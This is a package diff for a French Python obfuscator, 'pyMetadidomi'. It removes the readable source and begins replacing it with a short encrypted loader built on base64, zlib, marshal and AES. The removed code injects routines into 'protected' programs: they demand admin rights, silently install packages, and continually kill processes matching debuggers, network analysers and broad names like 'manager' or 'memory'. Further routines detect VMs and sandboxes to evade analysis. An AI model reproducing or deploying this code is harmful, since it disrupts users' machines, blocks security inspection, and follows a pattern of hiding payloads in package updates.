metadidomi-builder 1.4.201125 → 1.5.2411250404

package/build_tools_py/pyMetadidomi/pyMetadidomi.py

@@ -1,1678 +1,19 @@
-# === API pour usage externe (builder) ===
-def obfuscate_app(src_dir, dest_dir, verbose=True):
-    """
-    Obfusque tous les fichiers Python d'un dossier source vers un dossier destination.
-    Utilisé par le builder pour protéger l'application.
-    
-    Par défaut: --medium-protection (carbon + junk + bugs + dead_code)
-    """
-    protection_options = {
-        'carbon': True,          # Obfuscation des identifiants
-        'junk': True,            # Code parasite pour complexifier
-        'bugs': True,            # ✅ Anti-débogage (medium-protection)
-        'dead_code': True,       # Code mort pour augmenter la taille
-        'loader_integrated': True, # ✅ Loader bytecode natif intégré
-        'time_prot': False,
-        'anti_vm': False,
-        'anti_reverse': False,
-        'anti_decompile': False,
-        'multi_encrypt': False,
-        'encrypt': False,
-        'expiration_year': 2026,
-        'dead_code_complexity': 15,
-    }
-    if verbose:
-        print(f"[pyMetadidomi] Obfuscation de {src_dir} -> {dest_dir}")
-        print(f"[pyMetadidomi] Options: --medium-protection (carbon + junk + bugs + dead_code + loader_integrated)")
-    result = apply_protections_to_directory(src_dir, dest_dir, protection_options, verbose=verbose)
-    if verbose:
-        print(f"[pyMetadidomi] ✓ Obfuscation complète: {result['total']} fichiers traités")
-    return result
-# pyMetadidomi - Créé par ETS METADIDOMI
-# Obfuscateur et chiffreur de code Python
-import ast, io, tokenize, os, sys, platform, re, random, string, base64, hashlib, subprocess, requests, tempfile, argparse
-from Crypto import Random
+# --- Loader natif par pyMetadidomi (pymloader) ---
+import base64, zlib, marshal
 from Crypto.Cipher import AES
-from typing import Set, Dict, List
-
-is_windows = True if platform.system() == "Windows" else False
-
-# Configuration de la fenêtre sur Windows
-if is_windows:
-    os.system("title pyMetadidomi protecteur unique de code Python")
-
-def clear():
-    # Efface l'écran
-    if is_windows:
-        os.system("cls")
-    else:
-        os.system("clear")
-
-def pause():
-    # Met en pause
-    if is_windows:
-        os.system(f"pause >nul")
-    else:
-        input()
-
-def leave():
-    # Quitte le programme
-    try:
-        sys.exit()
-    except:
-        exit()
-
-def gui_info(title, message):
-    """Affiche un message d'information dans une fenêtre GUI (tkinter) ou console fallback"""
-    try:
-        import tkinter as tk
-        from tkinter import messagebox
-        root = tk.Tk()
-        root.withdraw()
-        messagebox.showinfo(title, message)
-        root.destroy()
-    except:
-        print(f"{title}: {message}")
-
-def gui_error(title, message):
-    """Affiche un message d'erreur dans une fenêtre GUI (tkinter) ou console fallback"""
-    try:
-        import tkinter as tk
-        from tkinter import messagebox
-        root = tk.Tk()
-        root.withdraw()
-        messagebox.showerror(title, message)
-        root.destroy()
-    except:
-        print(red(f"{title}: {message}"))
-
-def error(error):
-    # Affiche une erreur et quitte
-    print(red(f"        [!] Erreur : {error}"), end="")
-    pause(); clear(); leave()
-
-def blue_light(text):
-    # Bleu ciel vif (plus lumineux/saturé)
-    os.system("")
-    faded = ""
-    for line in text.splitlines():
-        # Utilise un bleu ciel vif (DeepSky-like) pour être visible et vif
-        faded += f"\033[38;2;0;191;255m{line}\033[0m\n"
-    return faded
-
-def blue_dark(text):
-    os.system("")
-    faded = ""
-    for line in text.splitlines():
-        faded += f"\033[38;2;0;0;180m{line}\033[0m\n"
-    return faded
-
-def blue_royal(text):
-    os.system("")
-    faded = ""
-    for line in text.splitlines():
-        faded += f"\033[38;2;0;80;255m{line}\033[0m\n"
-    return faded
-
-def white(text):
-    # Texte blanc pur (foreground) — sans forcer de fond —
-    # afin d'afficher du texte en blanc comme demandé.
-    os.system("")
-    faded = ""
-    for line in text.splitlines():
-        faded += f"\033[38;2;255;255;255m{line}\033[0m\n"
-    return faded
-
-def error_red(text):
-    os.system("")
-    faded = ""
-    for line in text.splitlines():
-        faded += f"\033[38;2;255;0;0m{line}\033[0m\n"
-    return faded
-
-# Aliases pour compatibilité avec l'ancien code
-def red(text):
-    return error_red(text)
-
-def blue(text):
-    return blue_light(text)
-
-def water(text):
-    return blue_light(text)
-
-def purple(text):
-    return blue_royal(text)
-
-def remove_docs(source):
-    # Supprime les commentaires et docstrings du code
-    io_obj = io.StringIO(source)
-    out = ""
-    prev_toktype = tokenize.INDENT
-    last_lineno = -1
-    last_col = 0
-    for tok in tokenize.generate_tokens(io_obj.readline):
-        token_type = tok[0]
-        token_string = tok[1]
-        start_line, start_col = tok[2]
-        end_line, end_col = tok[3]
-        if start_line > last_lineno:
-            last_col = 0
-        if start_col > last_col:
-            out += (" " * (start_col - last_col))
-        if token_type == tokenize.COMMENT:
-            pass
-        elif token_type == tokenize.STRING:
-            if prev_toktype != tokenize.INDENT:
-                if prev_toktype != tokenize.NEWLINE:
-                    if start_col > 0:
-                        out += token_string
-        else:
-            out += token_string
-        prev_toktype = token_type
-        last_col = end_col
-        last_lineno = end_line
-    out = '\n'.join(l for l in out.splitlines() if l.strip())
-    return out
-
-def do_rename(pairs, code):
-    # Remplace les noms en utilisant les paires fournies
-    for key in pairs:
-        code = re.sub(fr"\b({key})\b", pairs[key], code, re.MULTILINE)
-    return code
-
-class RobustRenamer:
-    """Renommage robuste de tous les identifiants avec AST"""
-    
-    def __init__(self):
-        self.used_names: Set[str] = set()
-        self.name_mapping: Dict[str, str] = {}
-        self.reserved_keywords = {
-            'and', 'as', 'assert', 'break', 'class', 'continue', 'def', 
-            'del', 'elif', 'else', 'except', 'finally', 'for', 'from', 
-            'global', 'if', 'import', 'in', 'is', 'lambda', 'nonlocal', 
-            'not', 'or', 'pass', 'raise', 'return', 'try', 'while', 
-            'with', 'yield', 'True', 'False', 'None', '__name__', '__main__',
-            '__file__', '__doc__', '__package__', '__loader__', '__spec__',
-            '__annotations__', '__builtins__', '__cached__', '__dict__'
-        }
-        # Modules standards Python et bibliothèques communes
-        self.protected_modules = {
-            'sys', 'os', 'time', 'datetime', 'json', 'csv', 're', 'random',
-            'math', 'collections', 'itertools', 'functools', 'operator',
-            'string', 'io', 'pathlib', 'tempfile', 'glob', 'shutil',
-            'subprocess', 'threading', 'multiprocessing', 'asyncio',
-            'socket', 'http', 'urllib', 'requests', 'flask', 'django',
-            'numpy', 'pandas', 'scipy', 'matplotlib', 'sqlalchemy',
-            'tkinter', 'tk', 'messagebox', 'filedialog', 'base64',
-            'hashlib', 'cryptography', 'Crypto', 'psutil', 'logging',
-            'unittest', 'pytest', 'doctest', 'pickle', 'shelve',
-            'sqlite3', 'abc', 'typing', 'enum', 'dataclasses', 'warnings',
-            'inspect', 'pydoc', 'importlib', 'pkgutil', 'modulefinder',
-            'ctypes', 'binascii', 'Process', 'Thread', 'Lock', 'Event',
-            'Queue', 'Pool', 'Manager', 'Value', 'Array', 'Pipe'
-        }
-    
-    def generate_safe_name(self, length: int = 8) -> str:
-        """Génère un nom sécurisé qui n'est pas un mot-clé Python"""
-        while True:
-            # Utiliser des caractères similaires pour complexifier la lecture
-            chars = ['I', 'l', '1', 'O', '0']
-            name = ''.join(random.choice(chars) for _ in range(length))
-            
-            # Vérifier que ce n'est pas un mot-clé et pas déjà utilisé
-            if (name not in self.reserved_keywords and 
-                name not in self.used_names and
-                name not in self.protected_modules and
-                not name[0].isdigit()):
-                self.used_names.add(name)
-                return name
-    
-    def analyze_identifiers(self, code: str) -> Dict[str, List]:
-        """Analyse tous les identifiants du code avec AST - Robuste et sûre"""
-        try:
-            tree = ast.parse(code)
-        except SyntaxError as e:
-            print(f"        [!] Erreur de syntaxe à la ligne {e.lineno}: {e.msg}")
-            return {}
-        
-        identifiers = {
-            'functions': set(),
-            'classes': set(),
-        }
-        
-        class IdentifierCollector(ast.NodeVisitor):
-            def __init__(self, collector):
-                self.collector = collector
-            
-            def visit_ClassDef(self, node):
-                # Ajouter uniquement les classes de haut niveau
-                self.collector['classes'].add(node.name)
-                self.generic_visit(node)
-            
-            def visit_FunctionDef(self, node):
-                # Ajouter uniquement les fonctions de haut niveau
-                self.collector['functions'].add(node.name)
-                self.generic_visit(node)
-            
-            def visit_AsyncFunctionDef(self, node):
-                self.collector['functions'].add(node.name)
-                self.generic_visit(node)
-        
-        collector = IdentifierCollector(identifiers)
-        collector.visit(tree)
-        
-        # Convertir les sets en listes
-        return {k: list(v) for k, v in identifiers.items()}
-    
-    def build_rename_mapping(self, identifiers: Dict[str, List]) -> Dict[str, str]:
-        """Construit le mapping de renommage - TRÈS ULTRA CONSERVATIVE"""
-        mapping = {}
-        
-        # STRATÉGIE ULTRA CONSERVATIVE : 
-        # On renomme UNIQUEMENT les classes de haut niveau et fonctions utilisateur
-        # PAS les variables globales, pas les paramètres, pas les attributs, pas les imports
-        
-        # Renommer uniquement les classes
-        if 'classes' in identifiers:
-            for original_name in identifiers['classes']:
-                # Ne pas renommer les modules standards
-                if original_name in self.protected_modules:
-                    continue
-                
-                # Ne pas renommer les classes "built-in" ou spéciales
-                if (original_name not in self.reserved_keywords and 
-                    not original_name.startswith('__') and
-                    original_name not in self.protected_modules):
-                    
-                    new_name = self.generate_safe_name(random.randint(8, 15))
-                    mapping[original_name] = new_name
-        
-        # Renommer uniquement les fonctions qui ne sont pas importées
-        if 'functions' in identifiers:
-            for original_name in identifiers['functions']:
-                if original_name in self.protected_modules:
-                    continue
-                
-                # Exclure les dunder methods et magic methods
-                if (original_name not in self.reserved_keywords and 
-                    not original_name.startswith('__') and
-                    original_name not in ['init', 'new', 'str', 'repr', 'len']):
-                    
-                    new_name = self.generate_safe_name(random.randint(8, 15))
-                    mapping[original_name] = new_name
-        
-        return mapping
-    
-    def safe_rename(self, code: str, mapping: Dict[str, str]) -> str:
-        """Renommage sécurisé avec protection avancée des contextes sensibles"""
-        
-        # Trier par longueur décroissante pour éviter les conflits de sous-chaînes
-        sorted_items = sorted(mapping.items(), key=lambda x: len(x[0]), reverse=True)
-        
-        # ===== ÉTAPE 1: Protection complète des strings =====
-        string_pattern = r'("""(?:[^"\\]|\\.)*?"""|\'\'\'(?:[^\'\\]|\\.)*?\'\'\'|"(?:[^"\\]|\\.)*?"|\'(?:[^\'\\]|\\.)*?\')'
-        strings = []
-        
-        def protect_strings(match):
-            strings.append(match.group(0))
-            return f'__STRING_PLACEHOLDER_{len(strings)-1}__'
-        
-        code = re.sub(string_pattern, protect_strings, code, flags=re.DOTALL)
-        
-        # ===== ÉTAPE 2: Protection des commentaires =====
-        comments = []
-        comment_pattern = r'#.*?$'
-        
-        def protect_comments(match):
-            comments.append(match.group(0))
-            return f'__COMMENT_PLACEHOLDER_{len(comments)-1}__'
-        
-        code = re.sub(comment_pattern, protect_comments, code, flags=re.MULTILINE)
-        
-        # ===== ÉTAPE 3: Protection des imports =====
-        # Patterns d'import à protéger
-        import_patterns = [
-            r'from\s+\w+\s+import',
-            r'import\s+\w+',
-            r'as\s+\w+'
-        ]
-        
-        # ===== ÉTAPE 4: Renommer UNIQUEMENT les identifiants isolés =====
-        for old_name, new_name in sorted_items:
-            # Pattern strict: le nom doit être entouré par des word boundaries
-            # ET ne pas être précédé par "import", "from", "as", ".", ou ":"
-            pattern = r'(?<![\.:\w])(?<!import\s)(?<!from\s)(?<!as\s)' + \
-                      re.escape(old_name) + \
-                      r'(?![\w\.])'
-            
-            code = re.sub(pattern, new_name, code, flags=re.MULTILINE)
-        
-        # ===== ÉTAPE 5: Restauration des commentaires =====
-        for i, original_comment in enumerate(comments):
-            code = code.replace(f'__COMMENT_PLACEHOLDER_{i}__', original_comment)
-        
-        # ===== ÉTAPE 6: Restauration des strings =====
-        for i, original_string in enumerate(strings):
-            code = code.replace(f'__STRING_PLACEHOLDER_{i}__', original_string)
-        
-        return code
-
-def apply_protections_to_directory(src_dir, dest_dir, protection_options, verbose=True):
-    """
-    Applique les protections pyMetadidomi à tous les fichiers .py d'un répertoire
-    Utilisé par le builder pour protéger les applications complètes
-    
-    Args:
-        src_dir: Répertoire source contenant les fichiers Python
-        dest_dir: Répertoire de destination pour les fichiers protégés
-        protection_options: Dictionnaire avec les options de protection
-        verbose: Afficher les détails du traitement
-    
-    Returns:
-        Dictionnaire avec les statistiques du traitement
-    """
-    if not any(protection_options.values()):
-        # Aucune protection demandée, copier simplement
-        from pathlib import Path
-        src_path = Path(src_dir)
-        if src_path.exists():
-            import shutil
-            dest_path = Path(dest_dir)
-            shutil.copytree(src_path, dest_path, dirs_exist_ok=True)
-        return {'total': 0, 'protected': 0, 'copied': 0, 'errors': []}
-    
-    from pathlib import Path
-    import shutil
-    
-    src_path = Path(src_dir)
-    dest_path = Path(dest_dir)
-    dest_path.mkdir(parents=True, exist_ok=True)
-    
-    # Statistiques détaillées
-    stats = {
-        'total': 0,
-        'protected': 0,
-        'copied': 0,
-        'errors': [],
-        'files': []  # Liste des fichiers traités
-    }
-
-    # Collecter tous les fichiers .py
-    py_files = sorted(list(src_path.rglob('*.py')))
-    
-    if verbose:
-        print(f"[pyMetadidomi] 📄 {len(py_files)} fichier(s) Python trouvé(s)")
-        print()
-
-    for i, py_file in enumerate(py_files, 1):
-        rel_path = py_file.relative_to(src_path)
-        dest_file = dest_path / rel_path
-        dest_file.parent.mkdir(parents=True, exist_ok=True)
-        
-        try:
-            # Lire le fichier source
-            with open(py_file, 'r', encoding='utf-8') as f:
-                src = f.read()
-            
-            # Taille originale
-            original_size = len(src)
-            protection_applied = False  # ← Initialiser la variable
-            
-            # Appliquer les protections dans l'ordre
-            if protection_options.get('junk'):
-                src = anubis(src)
-                protection_applied = True
-            if protection_options.get('bugs'):
-                src = bugs(src)
-                protection_applied = True
-            if protection_options.get('dead_code'):
-                complexity = protection_options.get('dead_code_complexity', 10)
-                src = generate_dead_code(complexity) + src
-                protection_applied = True
-            if protection_options.get('time_prot'):
-                expiration_year = protection_options.get('expiration_year', 2025)
-                src = time_protection(src, expiration_year=expiration_year)
-                protection_applied = True
-
-            if protection_options.get('anti_vm') or protection_options.get('anti_reverse'):
-                src = advanced_anti_analysis(src)
-                protection_applied = True
-
-            if protection_options.get('anti_decompile'):
-                src = anti_decompile_protection(src)
-                protection_applied = True
-
-            if protection_options.get('multi_encrypt'):
-                key = base64.b64encode(os.urandom(32)).decode()
-                encryption = MultiLayerEncryption([key, key[:16], key[:8]])
-                src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
-                protection_applied = True
-
-            if protection_options.get('carbon'):
-                src, renamed_count = carbon(src)
-                # Ne compter comme "vraiment protégé" que si des identifiants ont été renommés
-                if renamed_count > 0:
-                    protection_applied = True
-                else:
-                    protection_applied = False
-            else:
-                protection_applied = True  # Les autres protections comptent toujours
-
-            if protection_options.get('encrypt'):
-                key = base64.b64encode(os.urandom(32)).decode()
-                src = Encryption(key.encode()).write(key, src)
-                protection_applied = True
-
-            if protection_options.get('loader_integrated'):
-                src = protect_with_loader(src)
-                protection_applied = True
-
-            # Taille après obfuscation
-            obfuscated_size = len(src)
-            size_increase = ((obfuscated_size - original_size) / original_size * 100) if original_size > 0 else 0
-
-            # Écrire le fichier protégé
-            with open(dest_file, 'w', encoding='utf-8') as f:
-                f.write(src)
-
-            # Compter comme protégé SEULEMENT si une protection a vraiment été appliquée
-            if protection_applied or protection_options.get('junk') or protection_options.get('dead_code'):
-                stats['protected'] += 1
-                file_status = 'protected'
-            else:
-                stats['copied'] += 1
-                file_status = 'copied'
-            
-            file_info = {
-                'name': str(rel_path),
-                'original_size': original_size,
-                'obfuscated_size': obfuscated_size,
-                'increase': size_increase,
-                'status': file_status
-            }
-            stats['files'].append(file_info)
-            
-            if verbose:
-                status_icon = "✓" if file_status == 'protected' else "→"
-                print(f"        [{i}/{len(py_files)}] {status_icon} {str(rel_path):50s} | {original_size:8d} → {obfuscated_size:8d} bytes (+{size_increase:5.1f}%)")
-
-        except Exception as e:
-            # En cas d'erreur, copier simplement le fichier
-            error_msg = f"Erreur lors de la protection de {rel_path}: {e}"
-            if verbose:
-                print(f"        [{i}/{len(py_files)}] ⚠️  {str(rel_path):50s} | ERREUR: {str(e)[:40]}")
-            shutil.copy2(py_file, dest_file)
-            stats['copied'] += 1
-            stats['errors'].append(error_msg)
-            file_info = {
-                'name': str(rel_path),
-                'status': 'copied_on_error',
-                'error': str(e)
-            }
-            stats['files'].append(file_info)
-
-    # Copier aussi les fichiers non-.py
-    non_py_files = [item for item in src_path.rglob('*') 
-                    if item.is_file() and item.suffix != '.py']
-    
-    if verbose and non_py_files:
-        print()
-        print(f"[pyMetadidomi] 📦 {len(non_py_files)} fichier(s) non-Python")
-    
-    for item in non_py_files:
-        rel_path = item.relative_to(src_path)
-        dest_file = dest_path / rel_path
-        dest_file.parent.mkdir(parents=True, exist_ok=True)
-        shutil.copy2(item, dest_file)
-        stats['copied'] += 1
-
-    stats['total'] = len(py_files) + len(non_py_files)
-    
-    # Copier le module natif pymloader.pyd si disponible
-    import pathlib
-    loader_dir = pathlib.Path(__file__).parent
-    pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
-    pymloader_bin = loader_dir / pymloader_ext
-    if pymloader_bin.exists():
-        dest_pymloader = dest_path / pymloader_ext
-        shutil.copy2(pymloader_bin, dest_pymloader)
-        if verbose:
-            print(f"[pyMetadidomi] 📦 Module natif {pymloader_ext} copié dans le dossier de destination")
-    
-    if verbose:
-        print()
-        print(f"[pyMetadidomi] ════════════════════════════════════════════════════════")
-        print(f"[pyMetadidomi] 📊 RÉSUMÉ D'OBFUSCATION:")
-        print(f"[pyMetadidomi]   - Fichiers Python traités: {len(py_files)}")
-        print(f"[pyMetadidomi]   - Fichiers Python obfusqués (avec identifiants renommés): {stats['protected']}")
-        print(f"[pyMetadidomi]   - Fichiers non-Python copiés: {len(non_py_files)}")
-        print(f"[pyMetadidomi]   - TOTAL: {stats['total']} fichiers dans le dossier protégé")
-        if stats['errors']:
-            print(f"[pyMetadidomi]   - ⚠️  Erreurs lors de l'obfuscation: {len(stats['errors'])}")
-        print(f"[pyMetadidomi] ════════════════════════════════════════════════════════")
-        print()
-    
-    return stats
-
-def carbon(code):
-    """
-    Obfuscation Carbon améliorée et robuste
-    Retourne (code_obfusqué, nombre_d'identifiants_renommés)
-    """
-    renamer = RobustRenamer()
-    
-    # Étape 1: Analyse complète du code
-    print("        [>] Analyse des identifiants...")
-    identifiers = renamer.analyze_identifiers(code)
-    
-    if not identifiers:
-        print("        [!] Impossible d'analyser le code, retour du code original")
-        return code, 0
-    
-    # Étape 2: Construction du mapping de renommage
-    print("        [>] Génération des nouveaux noms...")
-    mapping = renamer.build_rename_mapping(identifiers)
-    
-    if not mapping:
-        print("        [!] Aucun identifiant à renommer")
-        return code, 0
-    
-    # Barre de progression
-    cycles = [
-        "[   > >                                                                                           ]", 
-        "[   > > > >                                                                                       ]", 
-        "[   > > > > > >                                                                                   ]", 
-        "[   > > > > > > > >                                                                               ]", 
-        "[   > > > > > > > > > >                                                                           ]", 
-        "[   > > > > > > > > > > > >                                                                       ]", 
-        "[   > > > > > > > > > > > > > >                                                                   ]", 
-        "[   > > > > > > > > > > > > > > > >                                                               ]", 
-        "[   > > > > > > > > > > > > > > > > > >                                                           ]", 
-        "[   > > > > > > > > > > > > > > > > > > > >                                                       ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > >                                                   ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > >                                               ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > >                                           ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > >                                       ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >                                   ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >                               ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >                           ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >                       ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >                   ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >               ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >           ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >       ]", 
-        "[   > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >   ]", 
-    ]
-    
-    # Étape 3: Application du renommage avec barre de progression
-    print("        [>] Application du renommage...")
-    i = 0
-    obfuscated_code = renamer.safe_rename(code, mapping)
-    
-    # Animation de la barre de progression
-    for j in range(len(cycles)):
-        print("\r"+f"        {cycles[j]}", end="", flush=True)
-        
-    print("\r"+f"        {cycles[len(cycles)-1]}\n", end="")
-    
-    # Statistiques
-    stats = {
-        'classes': len(identifiers.get('classes', [])),
-        'functions': len(identifiers.get('functions', [])),
-        'variables': len(identifiers.get('variables', [])),
-        'parameters': len(identifiers.get('parameters', [])),
-        'renamed': len(mapping)
-    }
-    
-    print(f"        [>] Obfuscation terminée: {stats['renamed']} identifiants renommés")
-    print(f"        [>] Détail: {stats['classes']} classes, {stats['functions']} fonctions, "
-          f"{stats['variables']} variables, {stats['parameters']} paramètres\n")
-    
-    return obfuscated_code, stats['renamed']  # ← Retourner le nombre d'identifiants renommés
-
-def bugs(code):
-    # Ajoute des fonctions anti-débogage (robuste avec gestion d'erreur)
-    dbg = """try:
-    import ctypes, sys, binascii, threading, time, tkinter
-    from tkinter import messagebox
-    if not ctypes.windll.shell32.IsUserAnAdmin() != 0:
-        try:
-            root = tkinter.Tk()
-            root.withdraw()
-            messagebox.showerror("Erreur", "Veuillez exécuter ce programme en tant qu'administrateur.")
-            root.destroy()
-        except:
-            print("Veuillez exécuter ce programme en tant qu'administrateur.")
-        sys.exit(0)
-    try:
-        from psutil import process_iter
-    except ImportError:
-        import os
-        os.system("pip install psutil")
-        from psutil import process_iter
-    d = [
-        '53757370656e64', '50726f67726573732054656c6572696b20466964646c657220576562204465627567676572', '466964646c6572', '57697265736861726b',
-        '64756d70636170', '646e537079', '646e5370792d783836', '6368656174656e67696e652d7838365f3634', '4854545044656275676765725549',
-        '50726f636d6f6e', '50726f636d6f6e3634', '50726f636d6f6e363461', '50726f636573734861636b6572',
-        '783332646267', '783634646267', '446f744e657444617461436f6c6c6563746f723332',
-        '446f744e657444617461436f6c6c6563746f723634', '485454504465627567676572537663', '48545450204465627567676572', '696461', '6964613634', '69646167', '696461673634',
-        '69646177', '696461773634', '69646171', '696461713634', '69646175', '696461753634',
-        '7363796c6c61', '7363796c6c615f783634', '7363796c6c615f783836', '70726f74656374696f6e5f6964',
-        '77696e646267', '7265736861636b6572', '496d706f7274524543', '494d4d554e4954594445425547474552',
-        '4d65676144756d706572', '646973617373656d626c79', '4465627567', '5b435055496d6d756e697479',
-        '4d65676144756d70657220312e3020627920436f6465437261636b6572202f20536e44', '436861726c6573', '636861726c6573', '4f4c4c59444247', '496d706f72745f7265636f6e7374727563746f72',
-        '636f6465637261636b6572', '646534646f74', '696c737079', '67726179776f6c66',
-        '73696d706c65617373656d626c796578706c6f726572', '7836346e657464756d706572', '687864',
-        '7065746f6f6c73', '73696d706c65617373656d626c79', '68747470616e616c797a6572', '687474706465627567', '70726f636573736861636b6572', '6d656d6f727965646974', '6d656d6f7279',
-        '646534646f746d6f64646564', '70726f63657373206861636b6572', '70726f63657373206d6f6e69746f72',
-        '717435636f7265', '696461', '696d6d756e697479', '68747470', '74726166666963',
-        '77697265736861726b', '666964646c6572', '7061636b6574', '6861636b6572', '6465627567', '646e737079', '646f747065656b', '646f747472616365', '70726f6364756d70', '6d616e61676572',
-        '6d656d6f7279', '6e65744c696d6974', '6e65744c696d69746572', '73616e64626f78'
-    ]
-    d = [binascii.unhexlify(i.encode()).decode() for i in d]
-    def debugger():
-        while True:
-            try:
-                for proc in process_iter():
-                    for i in d:
-                        if i.lower() in proc.name().lower():
-                            proc.kill()
-            except Exception:
-                pass
-            time.sleep(0.5)
-    threading.Thread(target=debugger, daemon=True).start()
-except Exception:
-    pass
-"""
-    code = dbg + code
-    return code
-
-def anubis(code):
-    # Ajoute du code inutile (junk code) pour compliquer le débogage
-    newcode = "\n"
-    classes = ["".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(2, 5))]
-    for i in classes:
-        newcode += f"class {i}:\n    def __init__(self):\n"
-        funcs = ["__"+"".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(5, 15))]
-        for i in funcs:
-            newcode += f"        self.{i}()\n"
-        for i in funcs:
-            newcode += f"    def {i}(self, {', '.join([''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(5, 20))) for i in range(random.randint(1, 7))])}):\n        return self.{random.choice(funcs)}()\n"
-    newcode += code + "\n"
-    classes = ["".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(2, 5))]
-    for i in classes:
-        newcode += f"class {i}:\n    def __init__(self):\n"
-        funcs = ["__"+"".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(5, 15))]
-        for i in funcs:
-            newcode += f"        self.{i}()\n"
-        for i in funcs:
-            newcode += f"    def {i}(self, {', '.join([''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(5, 20))) for i in range(random.randint(1, 7))])}):\n        return self.{random.choice(funcs)}()\n"
-    return newcode
-
-def generate_dead_code(complexity=10):
-    """Génère du code mort pour complexifier l'analyse"""
-    
-    dead_code = ""
-    
-    # Types de code mort
-    dead_functions = [
-        "def unused_func_{}(): return sum(i for i in range({}))",
-        "def dummy_calc_{}(x): return x * {} + {}",
-        "def fake_method_{}(): return 'fake_result_{}'",
-    ]
-    
-    dead_variables = [
-        "temp_var_{} = [i for i in range({})]",
-        "unused_data_{} = {{'key': 'value'}}",
-        "complex_obj_{} = type('Obj', (), {{'attr': {}}})()"
-    ]
-    
-    for i in range(complexity):
-        # Générer les fonctions mortes avec le bon nombre d'arguments
-        func_template = random.choice(dead_functions)
-        if func_template.count('{}') == 2:
-            dead_code += func_template.format(i, random.randint(10, 100)) + "\n"
-        elif func_template.count('{}') == 3:
-            dead_code += func_template.format(i, random.randint(1, 10), random.randint(1, 10)) + "\n"
-        
-        # Générer les variables mortes
-        var_template = random.choice(dead_variables)
-        if var_template.count('{}') == 2:
-            dead_code += var_template.format(i, random.randint(5, 50)) + "\n"
-        else:
-            dead_code += var_template.format(i) + "\n"
-    
-    return dead_code
-
-def time_protection(code, expiration_year=2025, max_time=3600):
-    """Protection basée sur la date d'expiration avec interface graphique"""
-    time_protection_code = f"""import time, datetime
-import tkinter as tk
-from tkinter import messagebox
-
-current_date = datetime.datetime.now()
-EXPIRATION_YEAR = {expiration_year}
-
-if current_date.year > EXPIRATION_YEAR:
-    root = tk.Tk()
-    root.withdraw()
-    messagebox.showerror("Erreur Licence", f"Licence expirée\\nLe programme a expiré depuis le {{EXPIRATION_YEAR}}.")
-    root.destroy()
-    exit()
-
-def protected_execution():
-"""
-    return time_protection_code + "\n    " + code.replace("\n", "\n    ") + "\n\nprotected_execution()"
-
-class MultiLayerEncryption:
-    """Chiffrement en plusieurs couches avec différents algorithmes"""
-    
-    def __init__(self, keys):
-        self.keys = keys
-    
-    def xor_encrypt(self, data, key):
-        """Chiffrement XOR simple mais efficace"""
-        encrypted = bytearray()
-        key_bytes = key.encode('utf-8')
-        for i, byte in enumerate(data.encode('utf-8')):
-            encrypted.append(byte ^ key_bytes[i % len(key_bytes)])
-        return encrypted
-    
-    def caesar_cipher(self, data, shift):
-        """Chiffrement César pour les strings"""
-        result = ""
-        for char in data:
-            if char.isalpha():
-                ascii_offset = 65 if char.isupper() else 97
-                result += chr((ord(char) - ascii_offset + shift) % 26 + ascii_offset)
-            else:
-                result += char
-        return result
-    
-    def multi_encrypt(self, data):
-        """Chiffrement multi-couches"""
-        # Couche 1: XOR
-        layer1 = self.xor_encrypt(data, self.keys[0])
-        
-        # Couche 2: César
-        layer2 = self.caesar_cipher(layer1.decode('latin-1'), 13)
-        
-        # Couche 3: Base64
-        import base64
-        layer3 = base64.b64encode(layer2.encode('utf-8')).decode()
-        
-        return layer3
-
-def advanced_anti_analysis(code):
-    """Protections anti-reverse engineering avancées"""
-    
-    anti_analysis = """
-import sys, os, ctypes, platform, subprocess, hashlib
-
 try:
-    def detect_vm():
-        vm_indicators = [
-            "vbox" in platform.machine().lower(),
-            "vmware" in platform.machine().lower(),
-            "qemu" in platform.machine().lower(),
-            any(vm in platform.processor().lower() for vm in ['vmware', 'virtualbox', 'qemu']),
-            os.path.exists(r"C:\\\\Program Files\\\\VMware"),
-            os.path.exists(r"C:\\\\Program Files\\\\Oracle\\\\VirtualBox"),
-        ]
-        return any(vm_indicators)
-
-    # Détection des debuggers
-    def detect_debugger():
-        try:
-            return ctypes.windll.kernel32.IsDebuggerPresent() != 0
-        except:
-            return False
-
-    # Détection des sandboxes
-    def detect_sandbox():
-        sandbox_processes = [
-            "vmsrvc", "vmusrvc", "vboxtray", "vmtoolsd", 
-            "vmwaretray", "vmwareuser", "prl_tools", "xenservice"
-        ]
-        try:
-            output = subprocess.check_output("tasklist", shell=True).decode().lower()
-            return any(proc in output for proc in sandbox_processes)
-        except:
-            return False
-
-    # Vérifications de sécurité
-    if detect_vm() or detect_debugger() or detect_sandbox():
-        try:
-            import tkinter as tk
-            from tkinter import messagebox
-            root = tk.Tk()
-            root.withdraw()
-            messagebox.showerror("Sécurité", "Environnement non sécurisé détecté")
-            root.destroy()
-        except:
-            print("Environnement non sécurisé détecté")
-        sys.exit(1)
-except Exception:
-    pass
-"""
-    return anti_analysis + code
-
-def minify_irreversible(code):
